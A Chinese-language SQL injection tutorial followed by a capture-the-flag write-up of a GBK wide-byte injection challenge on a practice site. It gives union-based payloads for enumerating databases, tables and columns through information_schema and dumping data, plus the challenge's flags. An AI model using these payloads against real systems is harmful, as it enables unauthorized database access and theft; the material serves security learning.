SQL注入基础
一、sql注入一般步骤
1.测试注入点是否存在,判断为字符型还是数字型,如何闭合
输入‘页面报错
or 1=1%23
and 1=1%23为真,and 1=2%23为假;
2.获取查询字段数
用order by 语句进行排除
3.判断可回显得字段位置
union select联合查询
4.获取数据库名等信息
database(),version()等
5.获取表名
information_schema.tables
?id=0 union select group_concat(table_name),2,…,n from information_schema.tables where table_schema=database()%23
通过information_schema库中的tables表查询当前数据库的所有表信息,group_concat()函数能够将字段值打印出来,以逗号分隔。
6.获取表中字段名
information_schema.columns
?id=0 union select group_concat(column_name),2,…,n from information_schema.columns where table_schema=database() and table_name='xxxx'%23
通过information_schema库中的columns表查询xxxx表的所有列信息。
7.获取所需数据
?id=0 union select group_concat(col1),group_concat(col2) from xxxx%23
直接联合查询xxxx表内col1,col2两列所有信息。
二、sql宽字节注入练习
1.题目
2.解题步骤
(1)首先,这是宽字节注入,用order by语句查询字段数,如图查询到3时显示错误,所以字段数为2;
http://chinalover.sinaapp.com/SQL-GBK/?id=1%df' order by 3%23
(2)联合查询判断可回显字段位置
http://chinalover.sinaapp.com/SQL-GBK/?id=0%df' union select 1,2%23
(3)获取数据库名称为sae-chinalover
http://chinalover.sinaapp.com/SQL-GBK/?id=0%df' union select 1,database()%23
(4)获取表名
http://chinalover.sinaapp.com/SQL-GBK/?id=0%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()%23
(5)查询gbksqli表的所有列信息
其中表名gbksqli要用十六进制编码为67626b73716c69并在前面加上0x后进行查询
http://chinalover.sinaapp.com/SQL-GBK/?id=0%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 0x67626b73716c69%23
(6)联合查询gbksqli表内flag列信息,得到flag为nctf{gbk_3sqli}
http://chinalover.sinaapp.com/SQL-GBK/?id=0%df' union select 1,group_concat(flag) from gbksqli%23
注:在其他表里还有一个flag,方法同上,另一个flag为flag{this_is_sqli_flag}